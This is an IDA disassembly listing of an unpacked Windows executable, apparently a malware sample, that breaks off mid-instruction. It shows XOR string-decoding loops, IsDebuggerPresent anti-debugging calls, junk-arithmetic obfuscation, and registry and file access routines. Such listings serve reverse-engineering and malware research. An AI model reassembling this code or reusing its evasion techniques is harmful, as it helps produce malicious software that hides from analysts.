; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 8D871FEB5DF049AB799CB50C7C8998C7 ; File Name : u:\work\8d871feb5df049ab799cb50c7c8998c7_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0000C000 ( 49152.) ; Section size in file : 0000C000 ( 49152.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _text segment para public 'DATA' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= sub_401000 proc near ; DATA XREF: sub_401020+Ao ; sub_43DFD9+Ao arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h xor eax, eax inc eax mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 jz short locret_40101F mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_40101F: ; CODE XREF: sub_401000+Ej retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401020 proc near ; CODE XREF: sub_40109A+BEp ; sub_40109A+ECp var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_401000 push large dword ptr fs:0 mov large fs:0, esp loc_40103D: ; CODE XREF: sub_401020+44j ; sub_401020+4Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_40106C cmp esi, [esp+1Ch+arg_4] jz short loc_40106C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov ecx, [esp+1Ch+var_14] mov ecx, [eax+0Ch] cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_40103D call dword ptr [ebx+esi*4+8] jmp short loc_40103D ; --------------------------------------------------------------------------- loc_40106C: ; CODE XREF: sub_401020+2Aj ; sub_401020+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_401020 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40107A proc near ; CODE XREF: sub_40109A+B1p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_401092 push [ebp+arg_0] call sub_40C314 ; RtlUnwind sub_40107A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_401092 proc near ; DATA XREF: sub_40107A+Bo ; sub_43E033+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_401092 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40109A proc near ; DATA XREF: sub_401219+10o ; sub_407F91+Ao ... var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h cld push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] mov dword_43B08C, eax mov dword_43B090, ebx test dword ptr [eax+4], 6 jnz loc_40117F mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax mov dword_43B090, eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4010DD: ; CODE XREF: sub_40109A+DCj cmp esi, 0FFFFFFFFh jz loc_40118E lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_40116D push esi push ebp lea ebp, [ebx+10h] mov eax, [ebp+var_14] mov eax, [eax] mov eax, [eax] mov dword_43B030, eax mov edx, [ebp+var_14] mov eax, [edx] mov dword_43B034, eax mov eax, [edx+4] mov dword_43B038, eax push esi push edi push ecx mov ecx, 14h lea edi, dword_43B03C mov esi, dword_43B034 rep movsd lea edi, dword_43B03C mov dword_43B034, edi pop ecx pop edi pop esi call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_40116D js short loc_40117B mov edi, [ebx+8] push ebx call sub_40107A add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_401020 add esp, 8 lea ecx, [esi+esi*2] mov eax, [edi+ecx*4] mov eax, [ebx+0Ch] call dword ptr [edi+ecx*4+8] loc_40116D: ; CODE XREF: sub_40109A+54j ; sub_40109A+A9j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp loc_4010DD ; --------------------------------------------------------------------------- loc_40117B: ; CODE XREF: sub_40109A+ABj xor eax, eax jmp short loc_4011F0 ; --------------------------------------------------------------------------- loc_40117F: ; CODE XREF: sub_40109A+23j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_401020 add esp, 0Ch loc_40118E: ; CODE XREF: sub_40109A+46j push 0 mov dword_43B010, 0Bh push 0Bh call sub_40C6A4 add esp, 8 or eax, eax jnz short loc_4011C9 push 0 mov dword_43B010, 8 push 8 call sub_40C6A4 add esp, 8 or eax, eax jnz short loc_4011C9 mov eax, 1 jmp short loc_4011F0 ; --------------------------------------------------------------------------- loc_4011C9: ; CODE XREF: sub_40109A+10Cj ; sub_40109A+126j cmp eax, 0FFFFFFFFh jz short loc_4011F8 push eax push dword_43B010 call sub_40C6A4 add esp, 8 push dword_43B010 call sub_40C68C add esp, 4 mov eax, 1 loc_4011F0: ; CODE XREF: sub_40109A+E3j ; sub_40109A+12Dj ... pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_4011F8: ; CODE XREF: sub_40109A+132j cmp dword_43B02C, 0 jnz short loc_401208 mov eax, 1 jmp short loc_4011F0 ; --------------------------------------------------------------------------- loc_401208: ; CODE XREF: sub_40109A+165j mov eax, dword_43B02C push 0Bh jmp eax sub_40109A endp ; --------------------------------------------------------------------------- pop eax mov eax, 1 jmp short loc_4011F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401219 proc near ; CODE XREF: start+500j ; DATA XREF: start:loc_4494FCo var_30 = word ptr -30h var_18 = dword ptr -18h var_4 = dword ptr -4 mov eax, large fs:0 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43B01C push offset sub_40109A push eax mov large fs:0, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_18], esp push eax fnstcw [esp+30h+var_30] or [esp+30h+var_30], 300h fldcw [esp+30h+var_30] add esp, 4 push 0 push 0 push offset dword_43B028 push offset dword_43B024 push offset dword_43B020 call sub_40C62C push dword_43B028 push dword_43B024 push dword_43B020 mov dword_43B014, esp call sub_40C0B4 add esp, 18h xor ecx, ecx mov [ebp+var_4], ecx push eax call sub_40C65C leave retn sub_401219 endp ; --------------------------------------------------------------------------- mov large fs:0, eax retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40129C proc near ; CODE XREF: sub_408C98+25p ; sub_408C98+41p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_43B09C lea eax, ds:41A6C0h[eax] push eax call sub_40C674 add esp, 0Ch xor edi, edi jmp short loc_4012DD ; --------------------------------------------------------------------------- loc_4012C3: ; CODE XREF: sub_40129C+43j mov eax, dword_43B09C add eax, edi lea eax, ds:41A6C0h[eax] movsx edx, byte ptr [eax] xor edx, 0F0h mov [eax], dl inc edi loc_4012DD: ; CODE XREF: sub_40129C+25j cmp edi, esi jl short loc_4012C3 mov [ebp+var_4], 1DDh mov eax, dword_43B09C add eax, esi mov byte ptr ds:dword_41A6C0[eax], 0 mov edi, dword_43B09C add dword_43B09C, 3 mov eax, dword_43B09C add eax, 2 add eax, esi mov dword_43B09C, eax add dword_43B09C, 2 cmp dword_43B09C, 0DE5h jle short loc_40132D and dword_43B09C, 0 loc_40132D: ; CODE XREF: sub_40129C+88j mov [ebp+var_8], 3D0h lea eax, dword_41A6C0[edi] pop edi pop esi leave retn sub_40129C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40133E proc near ; CODE XREF: sub_4081B0+11Ep var_14C18 = dword ptr -14C18h var_14C14 = dword ptr -14C14h var_14C0D = byte ptr -14C0Dh var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 14C18h call sub_40C118 push ebx push esi push edi call sub_40C2B4 ; IsDebuggerPresent mov eax, dword_43B222 mov [ebp+var_14C18], eax mov [ebp+var_4], 2B7Ah inc [ebp+var_4] push 0 push 0 push 3 push 0 push 0 push 80000000h push offset dword_40F1F0 call sub_40C2FC ; CreateFileA mov ebx, eax call sub_40C1F4 ; GetProcessHeap cmp ebx, 0FFFFFFFFh jnz short loc_401391 xor eax, eax jmp short loc_401406 ; --------------------------------------------------------------------------- loc_401391: ; CODE XREF: sub_40133E+4Dj mov [ebp+var_5], 0B0h add [ebp+var_5], 1 push 0 lea eax, [ebp+var_14C14] push eax push 14C08h lea eax, [ebp+var_14C0D] push eax push ebx call sub_40C308 ; ReadFile call sub_40C188 ; GetCurrentProcessId push ebx call sub_40C1DC ; CloseHandle xor edi, edi loc_4013C1: ; CODE XREF: sub_40133E+B9j mov eax, 13h sub eax, dword_43B098 push eax push offset byte_432F80 lea eax, [ebp+edi+var_14C0D] push eax call sub_40181E add esp, 0Ch cmp eax, 0FFFFh jz short loc_4013EE xor eax, eax inc eax jmp short loc_401406 ; --------------------------------------------------------------------------- loc_4013EE: ; CODE XREF: sub_40133E+A9j add edi, 11h cmp edi, [ebp+var_14C14] jb short loc_4013C1 mov esi, 4B23h mov eax, esi add eax, esi mov esi, eax xor eax, eax loc_401406: ; CODE XREF: sub_40133E+51j ; sub_40133E+AEj pop edi pop esi pop ebx leave retn sub_40133E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+0Ch] push esi push dword ptr [ebp+8] mov eax, dword_43B234 lea eax, ds:419580h[eax] push eax call sub_40C674 add esp, 0Ch xor edi, edi jmp short loc_401449 ; --------------------------------------------------------------------------- loc_401432: ; CODE XREF: .text:0040144Bj mov eax, dword_43B234 add eax, edi lea eax, ds:419580h[eax] movsx edx, byte ptr [eax] xor edx, 2Bh mov [eax], dl inc edi loc_401449: ; CODE XREF: .text:00401430j cmp edi, esi jl short loc_401432 mov dword ptr [ebp-4], 15Ch mov eax, dword_43B234 add eax, esi mov byte ptr ds:dword_419580[eax], 0 xor edi, edi mov edi, dword_43B234 inc dword_43B234 mov eax, dword_43B234 lea eax, [eax+esi+6] mov dword_43B234, eax add dword_43B234, 2 cmp dword_43B234, 0DCBh jle short loc_401499 and dword_43B234, 0 loc_401499: ; CODE XREF: .text:00401490j mov dword ptr [ebp-8], 30h lea eax, dword_419580[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4014AA proc near ; CODE XREF: sub_4063A9+B5p ; sub_4096E4+1D5p ... var_9 = byte ptr -9 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi call sub_40C188 ; GetCurrentProcessId lea eax, [ebp+var_4] push eax push 20019h push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_40C5B4 ; RegOpenKeyExA mov ebx, eax call sub_40C188 ; GetCurrentProcessId or ebx, ebx jz short loc_4014DD xor eax, eax jmp short loc_40152E ; --------------------------------------------------------------------------- loc_4014DD: ; CODE XREF: sub_4014AA+2Dj call sub_40C1F4 ; GetProcessHeap push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_14] push 0 push [ebp+arg_8] push [ebp+var_4] call sub_40C5C0 ; RegQueryValueExA mov ebx, eax mov [ebp+var_6], 492Fh sub [ebp+var_6], 1614h push [ebp+var_4] call sub_40C5A8 ; RegCloseKey call sub_40C188 ; GetCurrentProcessId or ebx, ebx jz short loc_40151B xor eax, eax jmp short loc_40152E ; --------------------------------------------------------------------------- loc_40151B: ; CODE XREF: sub_4014AA+6Bj lea edi, [ebp+var_9] lea esi, dword_43B238 mov ecx, 3 rep movsb xor eax, eax inc eax loc_40152E: ; CODE XREF: sub_4014AA+31j ; sub_4014AA+6Fj pop edi pop esi pop ebx leave retn sub_4014AA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+0Ch] push esi push dword ptr [ebp+8] mov eax, dword_43B244 lea eax, ds:434150h[eax] push eax call sub_40C674 add esp, 0Ch mov dword ptr [ebp-4], 11Eh xor edi, edi jmp short loc_401577 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_401565 loc_401560: ; CODE XREF: sub_401565+14j mov eax, dword_43B244 ; END OF FUNCTION CHUNK FOR sub_401565 ; =============== S U B R O U T I N E ======================================= sub_401565 proc near ; DATA XREF: .data:0043F0EDo ; FUNCTION CHUNK AT 00401560 SIZE 00000005 BYTES add eax, edi lea eax, ds:434150h[eax] movsx edx, byte ptr [eax] xor edx, 66h mov [eax], dl inc edi loc_401577: ; CODE XREF: .text:0040155Ej cmp edi, esi jl short loc_401560 mov eax, dword_43B244 add eax, esi mov byte ptr ds:dword_434150[eax], 0 mov edi, dword_43B244 mov eax, edi add eax, 4 add eax, esi mov dword_43B244, eax add dword_43B244, 3 cmp dword_43B244, 0DEFh jle short loc_4015B6 and dword_43B244, 0 loc_4015B6: ; CODE XREF: sub_401565+48j lea eax, dword_434150[edi] pop edi pop esi leave retn sub_401565 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4015C0 proc near ; CODE XREF: sub_406081+B2p ; sub_406081+E0p ... var_25 = byte ptr -25h var_1F = byte ptr -1Fh var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi mov [ebp+var_2], 2123h inc [ebp+var_2] lea edi, [ebp+var_18] lea esi, aVyfuC ; "+vyfu C" movsd movsd lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax push 0 push 0F003Fh push 0 push 0 push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_40C59C ; RegCreateKeyExA mov ebx, eax mov [ebp+var_C], 2D0Fh add [ebp+var_C], 6A82h or ebx, ebx jz short loc_401616 xor eax, eax jmp short loc_40167F ; --------------------------------------------------------------------------- loc_401616: ; CODE XREF: sub_4015C0+50j lea edi, [ebp+var_1F] lea esi, aPzlvp4 ; "PzL‚P4" mov ecx, 7 rep movsb push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_14] push 0 push [ebp+arg_8] push [ebp+var_8] call sub_40C5CC ; RegSetValueExA mov ebx, eax call sub_40C224 ; GetVersion push [ebp+var_8] call sub_40C5A8 ; RegCloseKey or ebx, ebx jz short loc_401653 xor eax, eax jmp short loc_40167F ; --------------------------------------------------------------------------- loc_401653: ; CODE XREF: sub_4015C0+8Dj lea edi, [ebp+var_25] lea esi, a7cx ; "#7CX|" mov ecx, 3 rep movsw cmp [ebp+var_10], 1 jnz short loc_401671 mov eax, 2 jmp short loc_40167F ; --------------------------------------------------------------------------- loc_401671: ; CODE XREF: sub_4015C0+A8j mov ebx, 7FF8h mov eax, ebx add eax, ebx mov ebx, eax xor eax, eax inc eax loc_40167F: ; CODE XREF: sub_4015C0+54j ; sub_4015C0+91j ... pop edi pop esi pop ebx leave retn sub_4015C0 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 3E1h push esi push dword ptr [ebp+8] mov eax, dword_43B268 lea eax, ds:437330h[eax] push eax call sub_40C674 add esp, 0Ch mov dword ptr [ebp-8], 3C1h xor edi, edi jmp short loc_4016D4 ; --------------------------------------------------------------------------- loc_4016BA: ; CODE XREF: .text:004016D6j mov eax, dword_43B268 add eax, edi lea eax, ds:437330h[eax] movsx edx, byte ptr [eax] xor edx, 89h mov [eax], dl inc edi loc_4016D4: ; CODE XREF: .text:004016B8j cmp edi, esi jl short loc_4016BA mov eax, dword_43B268 add eax, esi mov byte ptr ds:dword_437330[eax], 0 xor edi, edi mov edi, dword_43B268 mov eax, edi lea eax, [eax+esi+5] mov dword_43B268, eax cmp eax, 0DE8h jle short loc_401708 and dword_43B268, 0 loc_401708: ; CODE XREF: .text:004016FFj mov dword ptr [ebp-0Ch], 270h lea eax, dword_437330[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401719 proc near ; CODE XREF: sub_4056EE+141p ; sub_4096E4+8Bp ... var_6 = byte ptr -6 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push ebx push esi push edi call sub_40C2B4 ; IsDebuggerPresent mov [ebp+var_1], 91h movzx eax, [ebp+var_1] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_1], al xor ebx, ebx jmp short loc_401763 ; --------------------------------------------------------------------------- loc_40173B: ; CODE XREF: sub_401719+4Dj call sub_40C698 mov edi, [ebp+arg_0] mov edx, 10624DD3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov esi, eax add esi, 61h mov edx, esi mov [edi+ebx], dl inc ebx loc_401763: ; CODE XREF: sub_401719+20j cmp ebx, [ebp+arg_4] jl short loc_40173B lea edi, [ebp+var_6] lea esi, aXd9 ; " xd9" mov ecx, 5 rep movsb mov eax, [ebp+arg_4] mov edx, [ebp+arg_0] mov byte ptr [edx+eax], 0 mov eax, edx pop edi pop esi pop ebx leave retn sub_401719 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 18h push esi push dword ptr [ebp+8] mov eax, dword_43B27C lea eax, ds:42EBF0h[eax] push eax call sub_40C674 add esp, 0Ch xor edi, edi jmp short loc_4017D1 ; --------------------------------------------------------------------------- loc_4017B7: ; CODE XREF: .text:004017D3j mov eax, dword_43B27C add eax, edi lea eax, ds:42EBF0h[eax] movsx edx, byte ptr [eax] xor edx, 0C6h mov [eax], dl inc edi loc_4017D1: ; CODE XREF: .text:004017B5j cmp edi, esi jl short loc_4017B7 mov dword ptr [ebp-8], 26Fh mov eax, dword_43B27C add eax, esi mov byte ptr ds:dword_42EBF0[eax], 0 mov edi, dword_43B27C inc dword_43B27C mov eax, dword_43B27C add eax, 5 add eax, esi mov dword_43B27C, eax cmp eax, 0E0Dh jle short loc_401814 and dword_43B27C, 0 loc_401814: ; CODE XREF: .text:0040180Bj lea eax, dword_42EBF0[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40181E proc near ; CODE XREF: sub_40133E+9Cp ; sub_405409+68p ... var_24 = dword ptr -24h var_1F = byte ptr -1Fh var_1C = dword ptr -1Ch var_15 = byte ptr -15h var_12 = byte ptr -12h var_11 = byte ptr -11h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi mov ebx, 70E3h mov eax, ebx add eax, ebx mov ebx, eax and [ebp+var_C], 0 lea edi, [ebp+var_11] lea esi, a8l7 ; "8l 7" mov ecx, 5 rep movsb and [ebp+var_8], 0 jmp loc_401903 ; --------------------------------------------------------------------------- loc_40184F: ; CODE XREF: sub_40181E+F7j call sub_40C218 ; GetTickCount and [ebp+var_4], 0 call sub_40C1F4 ; GetProcessHeap xor ebx, ebx jmp loc_4018E9 ; --------------------------------------------------------------------------- loc_401864: ; CODE XREF: sub_40181E+DCj lea edi, [ebp+var_15] lea esi, aYb ; "Y" mov ecx, 3 rep movsb mov eax, [ebp+var_8] add eax, ebx mov edx, [ebp+arg_0] movsx eax, byte ptr [edx+eax] mov edx, [ebp+arg_4] movsx edx, byte ptr [edx+ebx] cmp eax, edx jnz short loc_40188E inc [ebp+var_4] loc_40188E: ; CODE XREF: sub_40181E+6Bj mov [ebp+var_12], 0AFh movzx eax, [ebp+var_12] imul eax, 28D8h mov [ebp+var_12], al mov eax, [ebp+arg_4] mov ecx, eax or eax, 0FFFFFFFFh loc_4018A7: ; CODE XREF: sub_40181E+8Ej inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4018A7 cmp [ebp+var_4], eax jnz short loc_4018E8 lea edi, [ebp+var_1F] lea esi, aM7 ; "m7" mov ecx, 3 rep movsb inc [ebp+var_C] mov eax, [ebp+arg_8] cmp [ebp+var_C], eax jnz short loc_4018D3 mov eax, [ebp+var_8] jmp short loc_401920 ; --------------------------------------------------------------------------- loc_4018D3: ; CODE XREF: sub_40181E+AEj mov [ebp+var_1C], 7382h mov eax, 56E9h mul [ebp+var_1C] mov [ebp+var_24], eax mov [ebp+var_1C], eax loc_4018E8: ; CODE XREF: sub_40181E+93j inc ebx loc_4018E9: ; CODE XREF: sub_40181E+41j mov eax, [ebp+arg_4] mov ecx, eax or eax, 0FFFFFFFFh loc_4018F1: ; CODE XREF: sub_40181E+D8j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4018F1 cmp ebx, eax jb loc_401864 inc [ebp+var_8] loc_401903: ; CODE XREF: sub_40181E+2Cj mov eax, [ebp+arg_0] mov ecx, eax or eax, 0FFFFFFFFh loc_40190B: ; CODE XREF: sub_40181E+F2j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40190B cmp [ebp+var_8], eax jb loc_40184F mov eax, 0FFFFh loc_401920: ; CODE XREF: sub_40181E+B3j pop edi pop esi pop ebx leave retn sub_40181E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 3E1h push esi push dword ptr [ebp+8] mov eax, dword_43B294 lea eax, ds:4152B0h[eax] push eax call sub_40C674 add esp, 0Ch mov dword ptr [ebp-8], 3C1h xor edi, edi jmp short loc_401975 ; --------------------------------------------------------------------------- loc_40195B: ; CODE XREF: .text:00401977j mov eax, dword_43B294 add eax, edi lea eax, ds:4152B0h[eax] movsx edx, byte ptr [eax] xor edx, 89h mov [eax], dl inc edi loc_401975: ; CODE XREF: .text:00401959j cmp edi, esi jl short loc_40195B mov eax, dword_43B294 add eax, esi mov byte ptr ds:dword_4152B0[eax], 0 xor edi, edi mov edi, dword_43B294 mov eax, edi lea eax, [eax+esi+5] mov dword_43B294, eax cmp eax, 0DE8h jle short loc_4019A9 and dword_43B294, 0 loc_4019A9: ; CODE XREF: .text:004019A0j mov dword ptr [ebp-0Ch], 270h lea eax, dword_4152B0[edi] pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push ebx push esi push edi call sub_40C2B4 ; IsDebuggerPresent mov byte ptr [ebp-1], 91h movzx eax, byte ptr [ebp-1] mov edx, eax add edx, eax mov eax, edx mov [ebp-1], al mov ebx, [ebp+10h] jmp short loc_4019FA ; --------------------------------------------------------------------------- loc_4019DD: ; CODE XREF: .text:004019FDj mov eax, [ebp+8] movsx eax, byte ptr [eax+ebx] mov edx, ebx sub edx, [ebp+10h] mov ecx, [ebp+0Ch] movsx edx, byte ptr [ecx+edx] cmp eax, edx jz short loc_4019F9 xor eax, eax inc eax jmp short loc_401A11 ; --------------------------------------------------------------------------- loc_4019F9: ; CODE XREF: .text:004019F2j inc ebx loc_4019FA: ; CODE XREF: .text:004019DBj cmp ebx, [ebp+14h] jl short loc_4019DD lea edi, [ebp-6] lea esi, aXd9_0 ; " xd9" mov ecx, 5 rep movsb xor eax, eax loc_401A11: ; CODE XREF: .text:004019F7j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 2Eh push esi push dword ptr [ebp+8] mov eax, dword_43B2A8 lea eax, ds:433080h[eax] push eax call sub_40C674 add esp, 0Ch mov dword ptr [ebp-8], 8Ah xor edi, edi jmp short loc_401A66 ; --------------------------------------------------------------------------- loc_401A4C: ; CODE XREF: .text:00401A68j mov eax, dword_43B2A8 add eax, edi lea eax, ds:433080h[eax] movsx edx, byte ptr [eax] xor edx, 0CCh mov [eax], dl inc edi loc_401A66: ; CODE XREF: .text:00401A4Aj cmp edi, esi jl short loc_401A4C mov eax, dword_43B2A8 add eax, esi mov byte ptr ds:dword_433080[eax], 0 xor edi, edi mov edi, dword_43B2A8 add dword_43B2A8, 2 mov eax, dword_43B2A8 lea eax, [eax+esi+4] mov dword_43B2A8, eax add dword_43B2A8, 3 cmp dword_43B2A8, 0DCEh jle short loc_401AB0 and dword_43B2A8, 0 loc_401AB0: ; CODE XREF: .text:00401AA7j mov dword ptr [ebp-0Ch], 20Ah lea eax, dword_433080[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401AC1 proc near ; CODE XREF: sub_4056EE+47p ; sub_4063A9+40Bp ... var_1E = byte ptr -1Eh var_19 = byte ptr -19h var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = word ptr -6 var_4 = word ptr -4 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi push edi mov [ebp+var_6], 76DDh movzx eax, [ebp+var_6] imul eax, 58BEh mov [ebp+var_6], ax push 0 push 80h push 3 push 0 push 3 push 80000000h push [ebp+arg_0] call sub_40C2FC ; CreateFileA mov ebx, eax mov [ebp+var_1], 0F1h movzx eax, [ebp+var_1] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_1], al cmp ebx, 0FFFFFFFFh jnz short loc_401B40 lea edi, [ebp+var_19] lea esi, aA_ ; "<A*_" mov ecx, 5 rep movsb cmp [ebp+arg_4], 0 jz short loc_401B2C mov eax, [ebp+arg_4] and dword ptr [eax], 0 loc_401B2C: ; CODE XREF: sub_401AC1+63j lea edi, [ebp+var_1E] lea esi, aB61 ; "B 61" mov ecx, 5 rep movsb xor eax, eax jmp short loc_401BAD ; --------------------------------------------------------------------------- loc_401B40: ; CODE XREF: sub_401AC1+4Dj push 0 push ebx call sub_40C1A0 ; GetFileSize mov [ebp+var_C], eax mov [ebp+var_4], 3E6Dh movzx eax, [ebp+var_4] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_4], ax mov eax, [ebp+var_C] add eax, 10h push eax push 40h call sub_40C2CC ; LocalAlloc mov [ebp+var_10], eax call sub_40C2B4 ; IsDebuggerPresent push 0 cmp [ebp+arg_4], 0 jz short loc_401B85 mov eax, [ebp+arg_4] mov [ebp+var_18], eax jmp short loc_401B8B ; --------------------------------------------------------------------------- loc_401B85: ; CODE XREF: sub_401AC1+BAj lea eax, [ebp+var_14] mov [ebp+var_18], eax loc_401B8B: ; CODE XREF: sub_401AC1+C2j push [ebp+var_18] push [ebp+var_C] push [ebp+var_10] push ebx call sub_40C308 ; ReadFile call sub_40C1F4 ; GetProcessHeap push ebx call sub_40C1DC ; CloseHandle call sub_40C1B8 ; RtlGetLastWin32Error mov eax, [ebp+var_10] loc_401BAD: ; CODE XREF: sub_401AC1+7Dj pop edi pop esi pop ebx leave retn sub_401AC1 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 2Eh push esi push dword ptr [ebp+8] mov eax, dword_43B2C0 lea eax, ds:410770h[eax] push eax call sub_40C674 add esp, 0Ch mov dword ptr [ebp-8], 8Ah xor edi, edi jmp short loc_401C02 ; --------------------------------------------------------------------------- loc_401BE8: ; CODE XREF: .text:00401C04j mov eax, dword_43B2C0 add eax, edi lea eax, ds:410770h[eax] movsx edx, byte ptr [eax] xor edx, 0CCh mov [eax], dl inc edi loc_401C02: ; CODE XREF: .text:00401BE6j cmp edi, esi jl short loc_401BE8 mov eax, dword_43B2C0 add eax, esi mov byte ptr ds:dword_410770[eax], 0 xor edi, edi mov edi, dword_43B2C0 add dword_43B2C0, 2 mov eax, dword_43B2C0 lea eax, [eax+esi+4] mov dword_43B2C0, eax add dword_43B2C0, 3 cmp dword_43B2C0, 0DCEh jle short loc_401C4C and dword_43B2C0, 0 loc_401C4C: ; CODE XREF: .text:00401C43j mov dword ptr [ebp-0Ch], 20Ah lea eax, 